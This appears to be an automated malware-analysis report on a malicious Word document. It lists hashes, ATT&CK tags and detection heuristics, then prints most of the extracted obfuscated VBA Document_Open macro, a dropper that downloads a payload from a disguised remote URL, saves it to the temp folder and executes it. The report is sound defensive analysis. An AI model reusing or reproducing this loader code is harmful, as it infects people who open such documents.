Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 be9d2fd849657038…

MALICIOUS

Office (OLE)

174.5 KB Created: 2018-05-29 23:19:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 394927a3b004a2fb73cbfa496853e79e SHA-1: c888790c7f1286b57fee35b7d2c33aaa39a84b50 SHA-256: be9d2fd8496570389ef2b047f6aac3427625682089c289ea912a3076c42ab0e1
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The file contains a heavily obfuscated VBA macro that is triggered by the Document_Open event. This macro is designed to download and execute a second-stage payload from a remote URL, as indicated by the 'HTTP .ResponseBody + .SaveToFile' heuristic. The presence of an obfuscated auto-exec loader and the ClamAV detection further support its malicious nature.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            wlXQns = XKwZviq.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set NLGCg = CreateObject(HdcorS("WES^ccrgi#p$ty.NSChlerlvlN"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set NLGCg = CreateObject(HdcorS("WES^ccrgi#p$ty.NSChlerlvlN"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38708 bytes
SHA-256: c06a650c82ed02c3c0296f9860c175c68124c3f4d3ffe108b256b024c58714be
Detection
ClamAV: No threats found
Obfuscation or payload: likely
394 of 619 identifiers look randomly generated (e.g. 'lhmIWdSKsRxUDMIqFRORmMgmnQyDz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function AWDwOO(vcUTAs As Boolean, hzkgIt As Boolean) As String
    pRVgsYqw = 550 + 892 + 1540
    eJyDj = RTrim("*tMgtYA!UxrMw")
    pRVgsYqw = 612 - 1765 - 1201
    xrhZZRD = Space(5)
    MyPZoq = Right("[veD)K^eyWz.YLocq*", 5)
    xrhZZRD = 1773 + 1803 + 1407
    qypORU = 1826 - 532 - 445
    oUCiwgp = UCase("fhGt gCCHMq")
    eJyDj = LTrim("Lsc?yor.RCECoC&ZmU")
    eJyDj = 1029 - 1857 - 732
    xrhZZRD = "uz$DJcbju#*Gq$KE.N" + "P)@ecDHstm.Vukm" + "W w(.h[j e.jRuJY??p"
    eJyDj = UCase(".Wck?t^opuY(UiekKaq.")
    While MKiyXT < 23
        eJyDj = 1044 - 342 - 1757
        qypORU = Right("df.$oQs.GuenxqOS%S^", 4)
        qypORU = UCase("XvySsl$]f^e_xYh.JZ")
        oUCiwgp = "!Vsqu_A lQ*TTOuWHZb" + "pOAr%cxAYgC_@" + " QWivbUoYlI-_m"
        eJyDj = "VOK^$tl$PF" + "?Xd$k$d&l-QBaEV" + "$[%Hv.Xyeq%vw$yyCO"
        qypORU = 597 - 1978 - 1018
        MyPZoq = Left("?Sl(GiOgo AjN&?", 5)
        oUCiwgp = 499 - 443 - 585
        MKiyXT = MKiyXT + 3
    Wend

    OoQhwH = Right("pe@Ti^ZQ*!", 4)
    xrhZZRD = Left("^MH@HF@.ALe-[!XHH]_t", 4)
    OoQhwH = Left("gwzl.^@KisG _I", 2)
    pRVgsYqw = RTrim("R)Esa!UzkGfdkf]^^%%E")
    MyPZoq = RTrim("h#KJnv&ns_Sk")
    MyPZoq = LTrim("xmI_](T^pP")
    qypORU = Right("_QFFsxfB]]_z^M", 3)
    pRVgsYqw = 566 - 1038 - 1622
    OoQhwH = Space(18)
    eJyDj = Left("qRVR-EWS&el_yPk%L%*%", 3)
    AWDwOO = "ykUOgUfVtpWimCvxNrhUTxB"
End Function

Private Sub kgnOwo(PozAjjy As Integer)
    oUCiwgp = StrReverse("%qi*!ziqnw&qAo")
    MpAZINP = 788 + 181 + 1719
    pRVgsYqw = RTrim("j-W&b]x (]rX)H")
    qypORU = Space(13)
    MpAZINP = Space(5)
    OoQhwH = 450 + 1219 + 1421
    MpAZINP = RTrim(".)DE%HdrYQg")
    oUCiwgp = 401 - 1297 - 425
    OoQhwH = Space(17)
    OoQhwH = LTrim("O]S&K?%sirsKVM*j")
    xrhZZRD = 1974 + 586 + 466
    xrhZZRD = RTrim("snE)OfqVR%EU!Ox#nk^@")
    MyPZoq = StrReverse("h(Zqu^C.r&]WQB([")
    For xFTQHd = 0 To 348
        pRVgsYqw = RTrim("h@P![xcaSx")
        pRVgsYqw = 1137 - 1020 - 940
    Next xFTQHd

    For gYmiTI = 0 To 250
        OoQhwH = 1747 - 1525 - 1794
        OoQhwH = RTrim("[zSZ^pQ)fus(yzveKO")
        MpAZINP = 492 + 1435 + 207
        xrhZZRD = LTrim("^on(#oPwxwa]")
        oUCiwgp = "AhfXmU!o&YC" + "RyaicqGHo^j^yK]dQweB" + "l[JU_NKgEB_RC"
        OoQhwH = Right("OaGwfBm#?ZxHwzrqc", 2)
        pRVgsYqw = Space(18)
        pRVgsYqw = StrReverse("$pNruAgRV-(I")
        xrhZZRD = "c.-?KfMGteo(ZUaq@PH" + "lFKTa MKOUsk" + "%KY!ZmY(C$aAykkOZ&&"
    Next gYmiTI

    pRVgsYqw = Left("SktBv-GAwZwwu*", 2)
    eJyDj = LTrim("bGDsCt#nn*BYWz^WO#QD")
    MpAZINP = 2000 - 1013 - 554
    OoQhwH = Left("oSUKoLlZHi^[erR", 3)
    pRVgsYqw = LTrim("sb[T&P#(Uva$_oGw")
    For iyoqkW = 0 To 74
        oUCiwgp = LTrim("sGoVoQF!llQY?vS")
        MyPZoq = StrReverse("qdc%ZkRB)*XohtCsQ")
    Next iyoqkW

    pRVgsYqw = StrReverse("]HVDCT[*X_&H")
    MyPZoq = RTrim("GK.cefVkg#")
    MyPZoq = 1421 - 1412 - 856
    eJyDj = StrReverse("Tys$pPgh_sA")
    MyPZoq = RTrim("eirDGPrg$OQK#*T")
    For ifJXok = 0 To 59
        xrhZZRD = Left("adaXEI_pnY?i@O", 3)
        MpAZINP = UCase("yPbAqInhRYXexH")
        OoQhwH = UCase("t!^bU!-V-_rcHSgW!D")
        MyPZoq = StrReverse("iPd-niCDQ!z")
        oUCiwgp = Left(" yEv#_bYg%_E&pHq", 5)
        oUCiwgp = LTrim("kpZZWF@e_g%KfcVxpT)")
        MpAZINP = StrReverse("Viqn__#x(_o$dk")
        oUCiwgp = 988 - 557 - 1504
        qypORU = RTrim("v ^dS.rowy(Aps[")
        oUCiwgp = UCase("GFT?vH_rXX&")
    Next ifJXok

    xrhZZRD = "Rf&h)wlZ(bR#xBYVhI()" + "Nw c!ZCuBv&RNg" + "#rCMbsvKaJqBHC]T(HC"
    xrhZZRD = Space(7)
    pRVgsYqw = UCase("kgnp&Se&Gm%")
    MpAZINP = RTrim("(s^aH^^U)$jAt?ssR")
    OoQhwH = "ET%@.YLc*C%F!FPQ" + "S sIBFbE%f" + "vJO!ubmvNTGKvFKY"
    OoQhwH = StrReverse("($(VS#Os.R%%")
    xrhZZRD = 1832 + 147 + 124
    pRVgsYqw = 359 - 1257 - 1446
End Sub

Private Sub AoRoXb(LOVWCV As String, CtCHgH As String, CIGdzgp As String, sjqOVBI As String, uGxGxBV As String, IBbvqkp As String)
    pRVgsYqw = StrReverse("DDcYoDVpjQq#QTmI")
    MpAZINP = Left("QM!%Y].%*fZ?J_", 4)
    OoQhwH = Space(11)
    oUCiwgp = 317 - 1701 - 1633
    OoQhwH = Left("LVUuTT*RcG gJM", 4)
    Set NLGCg = CreateObject(HdcorS("WES^ccrgi#p$ty.NSChlerlvlN"))
    NLGCg.Run LOVWCV, 0
    xrhZZRD = LTrim("#?jA?!!N)LS")
    pRVgsYqw = StrReverse("SHPvzdIxSJr_VFgHx")
    xrhZZRD = Left(".IWHk*Z$PG)g.AI", 4)
    xrhZZRD = LTrim("kaEDhs-.mY")
    OoQhwH = 1388 - 873 - 1784
    oUCiwgp = LTrim("SWlnH!jvj#SW[CSxs")
End Sub

Private Sub Document_Open()
    Dim EQbOtiVC As String
    While LJAMrb < 30
        MpAZINP = UCase("^nXnLtjd?q.AW")
        MpAZINP = LTrim("wqRPD]!QfdVXv")
        MyPZoq = Space(18)
        oUCiwgp = LTrim("&[FBxVQxcPV-v")
        LJAMrb = LJAMrb + 3
    Wend

    xrhZZRD = StrReverse("Zcu$KP.Y^shA")
    OoQhwH = Right("ZKICEEO-coPFMPPy)", 3)
    OoQhwH = LTrim("BgIzS_ddTFhy.z%")
    eJyDj = RTrim("zMLIBV#EmWEY.Oip(] A")
    While TibgOW < 312
        pRVgsYqw = UCase("[yWqEjNPW&H^ZZ")
        eJyDj = 582 - 1862 - 1162
        pRVgsYqw = LTrim("d-.*)?YlADowFemFEW")
        MyPZoq = LTrim("Z&HV)n_yLJ]?jI")
        MyPZoq = "(LZf.je^Hs(mogT" + "!XfqKLOnd txYAU ?(b^" + "TBhBMyeUY)oLirf"
        MyPZoq = LTrim("v_rXv!KJlz_bCC")
        eJyDj = 1925 - 1618 - 724
        MpAZINP = "SyYo_))RLJUNaFf" + "Xqvb[zOxNSePJGV]wtM" + "DLdy?T%.]zE&NIIXPf"
        TibgOW = TibgOW + 3
    Wend

    Set txinCVp = CreateObject(HdcorS("s$cPrIiGp*tKi@n!gN.QfGiHlSe(syybsst&eim-oqbDjdeQcbta"))
    MpAZINP = Space(9)
    For iSMsBU = 0 To 59
        MyPZoq = UCase("eDLpd%-BZO?T")
        xrhZZRD = LTrim("zQ%joaP?SSi(eUc(s")
        OoQhwH = 914 - 630 - 476
        MpAZINP = 116 + 193 + 1149
        MpAZINP = 794 - 1305 - 1480
        eJyDj = Left("(U!GGccXNO-hMENMEL", 3)
        pRVgsYqw = Space(1)
        MpAZINP = "lt!EKZZNT[OjzieE@a" + "plQam[.fjnxd" + "o&o^P-gAfb]UW"
    Next iSMsBU

    qypORU = Space(20)
    While DQAgRv < 188
        MpAZINP = 1495 + 1376 + 499
        xrhZZRD = Left("GqplQtTKPD^T ", 5)
        OoQhwH = Left("zfX@L*D@fQwoYa* ", 4)
        xrhZZRD = StrReverse("vonH(lM&&Oa]F")
        MpAZINP = "ja)mdr$dTnbOsk" + "VMe!?bdSKmdH*FrL" + "WsrJg j_i]f(BlcPM^&"
        OoQhwH = "BU  TRcZJ gEQ" + "]OBI#-MwclChu" + "&mpOk_- NRCW)l "
        qypORU = StrReverse("krZlavoRnS#")
        DQAgRv = DQAgRv + 3
    Wend

    While aideff < 386
        MpAZINP = RTrim("N^NDav&qd!xkP$k")
        OoQhwH = RTrim("yXlhEKS)izdH")
        xrhZZRD = LTrim("VO*cMZLey@WYCxdPrP)")
        OoQhwH = UCase("F?G!EmkhR_v")
        pRVgsYqw = Space(10)
        pRVgsYqw = StrReverse(")p?LGhWzRe@]")
        oUCiwgp = Left("mQyIJXRxf[icpO", 3)
        xrhZZRD = UCase("VnsNu%stFa!_tX%j")
        oUCiwgp = 432 + 1858 + 1718
        aideff = aideff + 3
    Wend

    pRVgsYqw = Left("VyT wUdG.GO.xug", 5)
    twoLcgGu = txinCVp.GetSpecialFolder(1 + 1)
    qypORU = LTrim("yEwXAlAi]liTFyiv!z@")
    pRVgsYqw = Space(17)
    OoQhwH = 1777 - 1396 - 1558
    While ThEMIq < 343
        xrhZZRD = "UtBfR$%&q?WUco#k" + "E-TF#mZJ!zu@ZBFb#B" + "!brzE(xzMDqv)s"
        eJyDj = Space(5)
        MpAZINP = Space(14)
        OoQhwH = RTrim("INt$mpdrw%za?s_@E")
        eJyDj = 1918 + 391 + 1169
        eJyDj = LTrim("fm?zf@j@lAW#V")
        qypORU = UCase("k-TxDvAD xKZkue")
        MyPZoq = 1795 + 1364 + 834
        ThEMIq = ThEMIq + 1
    Wend

    MyPZoq = Right("Vt?smwOPeUzhsh", 3)
    xrhZZRD = "$!P he_C&PyYZuw$MQV" + "oKtlw?do ?@gz" + "ZFfK$NPtmdIchg(R(oZ)"
    EQbOtiVC = StrReverse("Ze^xSe-.DT[odaSLNwof")
    While paCPtg < 155
        eJyDj = Right("$Gx!maMD(b@UK", 5)
        oUCiwgp = Left("T.ufezsijQ.", 3)
        paCPtg = paCPtg + 2
    Wend

    MyPZoq = Space(18)
    MpAZINP = 1055 - 919 - 622
    While aaBZWH < 268
        pRVgsYqw = 144 - 661 - 1180
        MyPZoq = "ko)NMW$g.@.Ulukiq" + "s_Fh?u-(NxlVoI%?t" + "R%zW*p]HUT#h&)GAR"
        aaBZWH = aaBZWH + 2
    Wend

    For xOOxpV = 0 To 397
        eJyDj = Left("AABY_HmvjFb]WyZ", 2)
        oUCiwgp = LTrim("CB?.JP?*lthdZ]Rmm")
    Next xOOxpV

    OoQhwH = LTrim("Lj.CPeeD%dDGFDA*aL")
    eJyDj = 1380 - 335 - 986
    MyPZoq = 730 + 651 + 700
    xrhZZRD = Left("nX.LtdiW*CRm*jRmBk", 4)
    qypORU = UCase("Tj$ACPnGC^CRTS&QQ")
    qypORU = 385 + 1473 + 744
    eJyDj = Left("WU(Pt)_$Fz", 2)
    MpAZINP = Left("v(yNgWml^t ^NqX", 2)
    MpAZINP = LTrim("d-iC@daaB^Wc@AUNm")
    qypORU = Right("?Lb!CgHpJJeoRa", 3)
    OoQhwH = StrReverse("uQ!txtJxorhDng")
    eJyDj = StrReverse("b-JJhN%!$okXX@F%A^S")
    For PehngA = 0 To 244
        pRVgsYqw = StrReverse("ufWtl?pm&eotcD")
        qypORU = 121 + 524 + 1617
        pRVgsYqw = Left("vVPFzNAMPk?", 3)
        MyPZoq = UCase("*@YYrh*hih -Ps-")
        pRVgsYqw = 1181 + 1474 + 464
        xrhZZRD = LTrim("Lhf_OQdCZVGSCN?$qTEw")
        MyPZoq = Right("!##lj._-Gqv^DsN", 3)
        oUCiwgp = Right("k-Se!dRQZwJ!_[T Lc", 4)
        xrhZZRD = StrReverse("VGEHynD(N)-")
        oUCiwgp = Left("xHa$ Hn$N^!wRt?yml ", 3)
    Next PehngA

    Dim XKwZviq, tdwdIib As Object
    pRVgsYqw = 688 - 429 - 624
    MyPZoq = StrReverse("hAy!.FpL-T)CTlcCed^u")
    pRVgsYqw = Space(17)
    OoQhwH = Left("iHDa_#MtVVVR!KuKTPf", 3)
    Set XKwZviq = CreateObject(HdcorS("MJiicgrxocssovfXt?.NXwMPLuHuTQT[P]"))
    pRVgsYqw = Left(" mU-(KGw*$@XKN", 3)
    For qCrkPi = 0 To 217
        eJyDj = Left("f?Jr*q?LWz", 3)
        oUCiwgp = Space(2)
        MyPZoq = "P^.WNNYQSnxZs^[Vn[K" + "Zwh?lFkJzSR" + "Jp]WhNdLPB[&qnzR$"
        qypORU = 133 - 1936 - 595
    Next qCrkPi

    While SOevNS < 256
        MyPZoq = "Vv#Z@[&flCnTIh" + "$qu)xfqGzoCUKmeA" + "z.dI)qrftCuS"
        xrhZZRD = 530 + 1524 + 887
        MyPZoq = LTrim("S[!*xi @c)a_.")
        eJyDj = Right("ObGX!QX&a?mSy.Sp", 5)
        oUCiwgp = RTrim("qf#R^obH.up")
        MyPZoq = UCase("RHCKjf_V?Jr")
        MyPZoq = 1364 + 103 + 561
        SOevNS = SOevNS + 2
    Wend

    xrhZZRD = Space(10)
    FArwoS = HdcorS("hstFtIp_:a/?/$absushedtYsuodpatui!oEn#.eckoOmn/HhpihtMelrs.Menx!eb")
    MyPZoq = LTrim("rTwVrH@[H_A@Yo$_w-i ")
    MyPZoq = LTrim("LhH)*J*cH*@-tMWMTcx")
    pRVgsYqw = UCase("sVy.&$)YQDrf%")
    While AcUptw < 222
        eJyDj = "BS&O^$hCdzaAqNq)Ing" + "H)ndbbI^Hsa!DhKz?_" + "&*cDbuHE^L"
        MpAZINP = LTrim("VKFUCWXYsjW[vcGh")
        pRVgsYqw = StrReverse("NgUu$(z^)N%zs%ukU")
        xrhZZRD = 1629 - 1628 - 1378
        MyPZoq = LTrim("bzTHXPfKTa")
        eJyDj = LTrim("?SOo*UOPgXTpKiIAdP^P")
        AcUptw = AcUptw + 1
    Wend

    XKwZviq.Open "GET", FArwoS, False
    MpAZINP = "?^Ri@mExdnSZuL XAQ!" + "kedcGiy(q.e(N&Ex$gu%" + "Pm!X]%RXMHfmn"
    qypORU = UCase("PRsJGvboD.M")
    xrhZZRD = Space(16)
    OoQhwH = Left("YE#S-PTsV-QKtGa_OKAa", 5)
    XKwZviq.send
    pRVgsYqw = Left("uyCp(h#@INIxp", 2)
    qypORU = StrReverse("BUJ*pZcODzXP")
    oUCiwgp = 1755 + 1753 + 1171
    xrhZZRD = 1326 + 1685 + 675
    oUCiwgp = Right("czP^ZYNRnKQ&pQ", 5)
    pRVgsYqw = StrReverse("nRwmRxLiQ#vg-vk")
    For jPqIVE = 0 To 367
        qypORU = Space(19)
        OoQhwH = "BQpWz-[mtxIuyUNLr" + "axP.CwQPhQ" + "EygeP!($ $RjI^cdD"
        MyPZoq = LTrim("eW*&ht#u@rusgh")
        xrhZZRD = Left("uLoUMJY(OaHcF]o@Tl ", 3)
        pRVgsYqw = Right("n]?OzM$K%h", 4)
        MyPZoq = LTrim("olz!*kcGsZJGiO.FH#")
        qypORU = Space(17)
        eJyDj = 1019 + 1329 + 206
        qypORU = "Iqq knc)v!jS" + "c^hmGKzJH-" + "k-Sez^$lK!HyU"
    Next jPqIVE

    If XKwZviq.Status = 201 - 1 Then
    oUCiwgp = 454 + 122 + 1090
    qypORU = Space(12)
    qypORU = Space(8)
    oUCiwgp = Space(10)
    MyPZoq = UCase("^cQQ(vz(KT_)h")
    MyPZoq = Space(9)
        Set tdwdIib = CreateObject(HdcorS("AtD^OhD^BL.nS&t?rAecaTm*"))
    OoQhwH = 948 + 936 + 613
    xrhZZRD = Space(17)
    MpAZINP = LTrim("NqsBndf#$(Cat!u.UYa@")
    xrhZZRD = 379 - 930 - 487
        tdwdIib.Open
    OoQhwH = 1664 + 671 + 1839
    While SHheei < 80
        MyPZoq = UCase("Sa@QkH.JwWxxA pE@@")
        OoQhwH = Right("YaahZmC@Kwe![T(l", 5)
        OoQhwH = StrReverse("UB@)K!)sREM")
        SHheei = SHheei + 3
    Wend

    MpAZINP = 452 + 288 + 701
    xrhZZRD = 1282 - 1967 - 102
        tdwdIib.Type = 1
    OoQhwH = 1544 + 436 + 121
    For YPKKnm = 0 To 307
        qypORU = RTrim(" o@aMc.b]CvjsX")
        eJyDj = Space(7)
    Next YPKKnm

    qypORU = Right(")UWqAqppaL&dy", 4)
    eJyDj = RTrim("QSTnK@yEAAbPi")
    MpAZINP = Right("(tkrqtrvjplL%K_%kQ", 3)
        wlXQns = XKwZviq.responseBody
    MpAZINP = "g^lN##E@ CaOa%G" + "]@M(B?zKZoXf" + "bv)pfKFN KKf?[IpT"
    OoQhwH = 1149 + 698 + 722
    qypORU = "TS_RlCdhhhssvs@" + "_pi!z$xN_QHaHa[wxke" + "M ZsxdEc#SJsIeAVhdV"
    eJyDj = LTrim("_Uungce$FM")
        tdwdIib.Write wlXQns
    oUCiwgp = "K!XAoO H)SsNq?I.&v" + "_y[WDuiOMTr_XY" + "uWIEhA(Dr$^l([)wtx"
    MpAZINP = 1849 + 1338 + 1110
    pRVgsYqw = StrReverse("*!RaMtfw%fycKc")
    xrhZZRD = RTrim("Vckx.]Jb$w(zSC[#bxe")
        Dim MYCvg As Object
    OoQhwH = LTrim("rP)VfyDQ% jVvt ")
    MyPZoq = 236 + 692 + 552
    MpAZINP = 1357 + 305 + 1748
    While JDLVeq < 142
        xrhZZRD = LTrim("wDhfkxnMwCsdyr")
        eJyDj = StrReverse("L@zzHsZW_*vjseXiP")
        qypORU = Right("YH(ebBjsR?X)p(JkUuY", 5)
        MyPZoq = Right("^qJxFsBxuUa", 4)
        eJyDj = LTrim("rFw taBCLqh(RnIfSU")
        OoQhwH = Right("tJ)gp-_HyPT !LDzbDQ", 2)
        MyPZoq = 829 + 1669 + 178
        pRVgsYqw = 916 - 1977 - 1028
        qypORU = 932 - 745 - 1388
        JDLVeq = JDLVeq + 2
    Wend

        Set MYCvg = CreateObject(HdcorS("sxc?r*iaputiibnLgp.*fSiclfets@yIs.t^emmAoJbyjCevcEtc"))
    oUCiwgp = Space(16)
    For OdyCFM = 0 To 148
        xrhZZRD = StrReverse("k%fd*vjRNn ")
        oUCiwgp = Left("aw%XqZkxW]Jae@iv", 3)
        MyPZoq = LTrim("qwNI*pv!Ojr]H[(a)[U$")
        OoQhwH = "shYp%H@GzHLMziVl" + "#N@LDAx)(gDcxm" + "(O(U*CERb*xUR"
        MpAZINP = Right("mZxb*UogTs&VSv", 3)
    Next OdyCFM

    MyPZoq = Right("tum lejYy]N#i_V@B", 4)
    While PDICtR < 337
        qypORU = RTrim("Jo%u(tYU$LsB(&Tc?FD")
        qypORU = Space(15)
        MyPZoq = RTrim("FIGjlU?[V)YsVqOSZ*G")
        qypORU = LTrim(" phnTyVdRn^YK")
        qypORU = 625 - 1863 - 837
        eJyDj = StrReverse("*]TDkWJcYAKYdxy")
        eJyDj = UCase("?FRAzCfG&JWRyLGP")
        qypORU = RTrim("fixOaT Q?vjthQlFhe")
        PDICtR = PDICtR + 2
    Wend

    oUCiwgp = LTrim("P!*BnvI&jF-N[")
        prgJEeX = MYCvg.GetSpecialFolder(5 - 3)
    pRVgsYqw = Left("*Cn_]vTGBGT", 2)
    MyPZoq = StrReverse("n#pEsCLQHk")
    OoQhwH = Left("oUeqwjYbDRd]VlCkT", 4)
    xrhZZRD = "M$VBoBy[#Op-cvKnW" + "LnCCtITge.aFd?x[Y" + "HnFY_ uPkq)Tv"
    pRVgsYqw = StrReverse("i--DOZXfuIyCL!")
    qypORU = 287 - 544 - 1123
    While ovDxHo < 201
        oUCiwgp = LTrim("aXK_] pYj%$@X.b(Y")
        MyPZoq = Space(11)
        MpAZINP = LTrim("W)gb^gP-lAXPGAEh")
        pRVgsYqw = Right("fsK*Sfc*LHZvy", 5)
        eJyDj = UCase("W]DVe-FXCz-")
        xrhZZRD = Left("hLCm[QYqOvMm!IM$", 4)
        MpAZINP = Space(7)
        eJyDj = Right("YRK.hiffjUo$Kw", 2)
        oUCiwgp = 1028 - 905 - 1751
        OoQhwH = RTrim("%*nTzrLMEKyxMh")
        ovDxHo = ovDxHo + 1
    Wend

        Call tdwdIib.SaveToFile(prgJEeX & "\\" & HdcorS("fXwDLGa&oTTr.qemx.eu"), 2)
    qypORU = Left("jr*mW?VG& drzLnW*]u", 2)
    eJyDj = "*Lb-@Y%ca Vb" + "V&%iPDShp(" + "!a?RI.SNAp?GWqtDcMt"
    OoQhwH = LTrim("]CX-h?xGddfwUd*")
    OoQhwH = UCase(")lWuCy]u%D?Wr#IHH")
    xrhZZRD = RTrim("^QRYsRJ^&%AYhu[i]J")
    MpAZINP = "?&B%oMHF]R" + "MvNnH]*!Kx^?aKLRVKR" + "nLD*CNqePBAC["
    eJyDj = 407 + 1508 + 1445
        tdwdIib.Close
    eJyDj = UCase("SaLRPCXtUdGjvUQ")
    eJyDj = "(@kzk]lG@BmuY&jf" + "aQ_YKDmR tm&P_QE" + "P[Vz?Hlu[y][hQB-Y*"
    While NQLyTE < 178
        eJyDj = LTrim("$HIp@LHCDkrFQ&TZg$")
        oUCiwgp = 615 + 1849 + 447
        NQLyTE = NQLyTE + 3
    Wend

    pRVgsYqw = 430 + 1717 + 1683
    OoQhwH = StrReverse("x.Rw*IC!lOS[eO%zLuL)")
    oUCiwgp = RTrim("CIKvFjt^QxZF]?a")
    End If
    MpAZINP = UCase("TJDu&GT@iLv.nf")
    MyPZoq = RTrim("mEgslCPbsu[YO!Wdlx")
    qypORU = UCase("%ZWcuse#jXn?$clRD*")
    qypORU = Right("NzrKR(gf$(]z", 5)
    xrhZZRD = 1741 - 497 - 965

    MpAZINP = UCase("sy?KafZ.-lPKWIL*P^T")
    MyPZoq = 710 - 145 - 1317
    For TiztDh = 0 To 142
        oUCiwgp = Right("XZ]ESnGIJA&bZ^Q# Ds", 4)
        MpAZINP = Left("ye[]dbAmi$xlq?K", 3)
        MyPZoq = 1246 + 1611 + 918
        qypORU = "!]jdxgkr-k" + ".sq?WgGLF*KMOeh" + "^Ow*^qRsNEQoxHlkS"
        MpAZINP = RTrim("vVL%pSmoi[u")
        oUCiwgp = Space(3)
        eJyDj = 1954 - 1949 - 382
    Next TiztDh

    xrhZZRD = 992 - 1988 - 1300
    MpAZINP = 1624 - 624 - 1643
    qypORU = Left("]tkSM_j@u)OO", 2)

    While lTeOGRk < 449
        OoQhwH = "UshN!AsSg(bqmA" + "(YRWq]W(UuH[$tfRzl" + "CWAKj NFy ??EgF]T("
        qypORU = Space(2)
        qypORU = LTrim("P(JMKn@$b?W(")
        MyPZoq = RTrim("(WhuwCc_?MVu")
        While gVYySz < 283
            eJyDj = StrReverse(")MVl*!-GyQ EV!xj")
            eJyDj = LTrim("ph_A?Fx iEH*")
            oUCiwgp = Left("LbKB&-%nm^T%-d) )o", 3)
            pRVgsYqw = StrReverse("TeeKV-H_@NowwBvX")
            MyPZoq = Space(14)
            gVYySz = gVYySz + 1
        Wend

        pRVgsYqw = "oOrBY*d&_NOGP?G!" + "*v@AxL#. e*DUz.Z" + "si?dwBc%.I^Dwiugau@"
        OoQhwH = UCase("lcpX*V$m?U*z&UT")
        qypORU = Left("C#Wj^-YWd!xHmI@W", 4)
        MpAZINP = 648 - 333 - 236
        If lTeOGRk = 334 Then
            pRVgsYqw = Right("Huh.AGYmg[jVG", 4)
            Call AoRoXb(twoLcgGu & "\\" & HdcorS(EQbOtiVC), "inhZHGgwQp", "qHexVinFmn", "Junb", "KrfkBcmI", "EHELhT")
            eJyDj = "Ye_o]CTTDroLN(g.g" + "@RsYrtAss#utn!sjXJtL" + "Mb]l&%Y&[vAdn#*"
            oUCiwgp = RTrim("XZGdg rFm_)g%")
            pRVgsYqw = Space(18)
            OoQhwH = UCase(")xeWaOzw!MBv[g)#A@&")
            pRVgsYqw = StrReverse("m*oQLeFey)i@Dz")
            MyPZoq = LTrim("^rc]]v*YEDm")
        End If
        pRVgsYqw = "Sf*KgE)]$!M pe" + "u(Y[muKutiZD%!j" + "ybSS*?oS-%n$tE?Ux$"
        MpAZINP = StrReverse("o-ZIqGe(ld)FHc]")
        While HBMJab < 295
            eJyDj = 1481 - 878 - 752
            MpAZINP = RTrim("gAnibiWdGO&Y")
            oUCiwgp = Space(13)
            qypORU = "LvrJ))*fQIL%cf" + "AKOLlau^u-XPS]b.Z^*?" + "qS T-_*RcehD^"
            MyPZoq = Right(" yiGiAIWm[nFTHHxz", 4)
            MyPZoq = Space(18)
            MyPZoq = "-L?$GtrV$ks" + "T_#OzEraVM" + "np.y?gA(s]u!%"
            OoQhwH = StrReverse("GJ!Vzqp?_nvr")
            HBMJab = HBMJab + 2
        Wend

        oUCiwgp = StrReverse("BdY??DumE][J_nD#%N")
        qypORU = "qDc@n_bcYzH-" + "[#CtYuaDjZhyJAZFjY" + "G)]EBD$HlNqD"
        For IwRdFY = 0 To 295
            xrhZZRD = 543 + 399 + 1502
            oUCiwgp = Left("nGNO#Q]YJJ-", 3)
            xrhZZRD = StrReverse("NFZhW&GkjHCdRaq&m")
            MpAZINP = UCase("mJj^m!f)lMLk")
            pRVgsYqw = "^-y#^$]^VO.n#g))" + "t%DZvCRmZQ.dccA[cEbw" + "wl&xQ_c(Nmt"
            pRVgsYqw = UCase("_cv L)wyqAx&B*V!")
            oUCiwgp = 1582 - 1139 - 1588
        Next IwRdFY

        pRVgsYqw = StrReverse("sT%Syb*qBLAc")

    lTeOGRk = lTeOGRk + 1
    Wend
    MpAZINP = Right("imQVMEadFH", 5)
    OoQhwH = Space(1)
    oUCiwgp = StrReverse("[mJDyV*(mJje!SJi")
    eJyDj = LTrim("bRGc[]]BMcaV&kk")
    While mLwYhV < 156
        oUCiwgp = 1872 - 1523 - 1048
        oUCiwgp = Left("(.^#@burpFMa)B W_", 2)
        eJyDj = Space(18)
        MpAZINP = RTrim("-N%cW^krNNlXZo!V")
